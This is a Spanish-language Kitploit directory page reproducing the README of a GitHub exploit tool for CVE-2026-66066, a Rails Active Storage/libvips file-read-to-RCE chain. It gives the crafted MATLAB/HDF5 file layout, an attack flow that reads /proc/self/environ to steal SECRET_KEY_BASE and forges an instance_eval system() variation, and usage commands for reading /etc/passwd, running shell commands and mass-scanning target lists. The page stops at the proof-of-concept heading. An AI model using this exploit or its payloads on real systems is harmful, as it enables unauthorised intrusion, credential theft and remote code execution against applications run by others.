Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-66066 — CVE-2026-66066 — KindaRails2Shell: Rails Active Storage/libvips Lectura de Archivo Arbitraria → RCE. Archivo de doble identidad MATLAB/HDF5 → robo de SECRET_KEY_BASE → variante falsificada. CVSS 9.5 | Rails < 8.1.3.1 | Kitploit
Herramientas/GitHubGitHub/shinthink/cve-2026-66066
ReconocimientoAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de Penetración
GitHubshinthink/cve-2026-66066

CVE-2026-66066

CVE-2026-66066 — KindaRails2Shell: Rails Active Storage/libvips Lectura de Archivo Arbitraria → RCE. Archivo de doble identidad MATLAB/HDF5 → robo de SECRET_KEY_BASE → variante falsificada. CVSS 9.5 | Rails < 8.1.3.1

Ver Repositorio
15hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-66066 — KindaRails2Shell

Rails Active Storage/libvips Lectura Arbitraria de Archivos → Robo de SECRET_KEY_BASE → RCE


Resumen

CVE-2026-66066 es una cadena de severidad crítica (CVSS 9.5) de lectura arbitraria de archivos previa a la autenticación hasta ejecución remota de código en Ruby on Rails Active Storage, que afecta a Rails 7.2.0–7.2.3.1, 8.0.0–8.0.5 y 8.1.0–8.1.3 en su configuración predeterminada.

La vulnerabilidad explota una confusión de analizadores en cuatro capas entre Rails, libvips, libmatio y HDF5. Un archivo manipulado con una cabecera MATLAB 5.0 (que satisface el detector de libvips) y un contenedor HDF5 v7.3 (despachado por libmatio) contiene un dataset externo que apunta a una ruta de archivo arbitraria en el servidor. Cuando ActiveStorage procesa este archivo como una variante de imagen, los bytes del archivo objetivo se convierten en píxeles de imagen, lo que permite la lectura arbitraria de archivos sin autenticación.

Una vez que se recupera SECRET_KEY_BASE de /proc/self/environ o de archivos de credenciales, el atacante deriva la clave de verificación de Active Storage y falsifica un JSON de variante firmado que contiene instance_eval, logrando ejecución remota de código.

Instalaciones afectadas: 500K+ aplicaciones Rails (Rails 7+ por defecto variant_processor = :vips) Descubierto por: Ethiack Research Team + RyotaK (GMO Flatt Security) + bl0rph, julio de 2026 Parche: Rails 7.2.3.2 / 8.0.5.1 / 8.1.3.1 (29 de julio de 2026)

Versiones Afectadas

RamaVulnerableCorregida
7.2.x7.2.0 – 7.2.3.17.2.3.2
8.0.x8.0.0 – 8.0.58.0.5.1
8.1.x8.1.0 – 8.1.38.1.3.1

Rails 6.x solo se ve afectado si variant_processor = :vips se habilitó manualmente.

Descubierto por: André Baptista, Bruno Mendes, Rafael Castilho (Ethiack); RyotaK (GMO Flatt Security); bl0rph PoC de referencia: 0xsha/KindaRails2Shell Metasploit: exploit/multi/http/rails_activestorage_vips_rce


Mecanismo de la Vulnerabilidad

Causa Raíz: Confusión de Analizadores en Cuatro Capas

El exploit encadena dos discrepancias independientes de tipo de contenido entre cuatro componentes:

Layer 1: Rails      → trusts client-declared content_type (image/png)
                      No byte re-identification on direct upload blobs.
Layer 2: libvips    → trusts magic bytes "MATLAB 5.0" at offset 0–9
                      Routes the file to matload without verifying the full header.
Layer 3: libmatio   → trusts version word 0x0200 at offset 124–125
                      Dispatches to HDF5 reader; ignores the descriptive text mismatch.
Layer 4: HDF5       → trusts external(path, offset, length) dataset reference
                      H5Dread transparently opens and reads the external file.
                      
Result: arbitrary file bytes returned as PNG pixel data.

El Archivo de Doble Identidad

BytesPropósitoValor
0–9Detector de libvipsMATLAB 5.0
10–123RellenoEspacios
124–125Despachador de libmatio0x0200 (HDF5 v7.3)
126–127Marcador de endianness0x4d49 (IM)
128–511Userblock de HDF5Relleno
512+Superbloque de HDF5Contenedor con dataset externo

"Ningún escritor legítimo emite tanto MATLAB 5.0 en el byte 0 como 0x0200 en el byte 124."

Por Qué Funciona

  1. content_type declarado por el cliente — Blob#variable? confía en la columna de la base de datos completada en el momento de la subida directa. No se examina ningún byte.
  2. Autodetección de libvips — Vips::Image.new_from_file itera sobre los cargadores; el detector de matload solo comprueba 10 bytes.
  3. Despacho de versión de libmatio — Los bytes 124–125 determinan el analizador; 0x0200 selecciona el backend HDF5 independientemente del texto descriptivo.
  4. Datasets externos de HDF5 — H5Pset_external permite que los bytes brutos de un dataset residan en un archivo externo arbitrario. libmatio llama a H5Dread sin comprobar H5Pget_external_count.
  5. Las claves de variación son independientes del blob — Una clave de variación extraída firma solo la transformación, no el ID del blob, lo que las hace reutilizables en cualquier blob subido.
  6. El transformador Vips carece de lista blanca de métodos — Transformers::Vips hereda validate_transformation de la clase base, que solo bloquea combine_options. Nombres de método arbitrarios pasan a Vips::Image.public_send.

Flujo del Ataque

1. POST /rails/active_storage/direct_uploads
   blob[content_type]=image/png&blob[checksum]=<MD5_of_payload>
   → Rails persists blob with client-declared type, identified=false forever

2. PUT <storage_url>
   body=<MATLAB 5.0 + HDF5 external(/proc/self/environ) payload>
   → Payload uploaded, blob ready for processing

3. Harvest variation_key from any existing thumbnail on the app
   → og:image, HTML , API responses, Internet Archive

4. GET /rails/active_storage/representations/redirect/:signed_id/:variation_key/poc.png
   → ActiveStorage downloads blob, passes to libvips
   → libvips detects "MATLAB 5.0", routes to matload
   → libmatio sees 0x0200, opens HDF5 container
   → H5Dread resolves external(/proc/self/environ) → file bytes become pixels
   → PNG thumbnail returned to attacker

5. Decode PNG pixels → recover SECRET_KEY_BASE from environment

6. Derive verifier key: PBKDF2-HMAC-SHA256(SECRET_KEY_BASE, "ActiveStorage", 1000, 64)
   Forge signed variation: {"instance_eval" => "system('cmd > /tmp/out')"}
   Submit to representations route → RCE

Referencias Verificadas del Código Fuente

ArchivoPropósito
activestorage/app/models/active_storage/blob.rbvariable? confía en la columna content_type
activestorage/app/models/active_storage/blob/representable.rbLa ruta de representación resuelve blob y variación de forma independiente
activestorage/app/models/active_storage/variation.rbdecode verifica la clave de variación; sin referencias cruzadas al blob
image_processing/lib/image_processing/transformers/vips.rbSin lista blanca de métodos — hereda el comportamiento de la clase base
libvips/foreign/matload.cvips__mat_ismat detecta solo los primeros 10 bytes

Instalación

git clone https://github.com/shinthink/CVE-2026-66066.git
cd CVE-2026-66066
pip install requests

Uso

# Full chain — file read → secret recovery → RCE
python cve_2026_66066.py -t rails-app.com

# Read a specific file
python cve_2026_66066.py -t rails-app.com --read /etc/passwd

# Provide SECRET_KEY_BASE directly (skip file read)
python cve_2026_66066.py -t rails-app.com --skb <secret> -c "id; hostname"

# Mass scan
python cve_2026_66066.py -f targets.txt -o rce.txt --threads 10

Argumentos

  -t, --target       Single target URL
  -f, --file         Target list, one per line
  -c, --command      Shell command to execute (default: id)
  --read PATH        Read a specific file from the server
  --skb SECRET       Provide SECRET_KEY_BASE directly for RCE
  -o, --output       Save results to file
  --threads          Concurrent workers (default: 20)
  --timeout          HTTP request timeout in seconds
  --debug            Show every HTTP request
  -v, --verbose      Verbose output

Prueba de Concepto

Objetivo Único

$ python cve_2026_66066.py -t rails-app.example.com
Descargar herramienta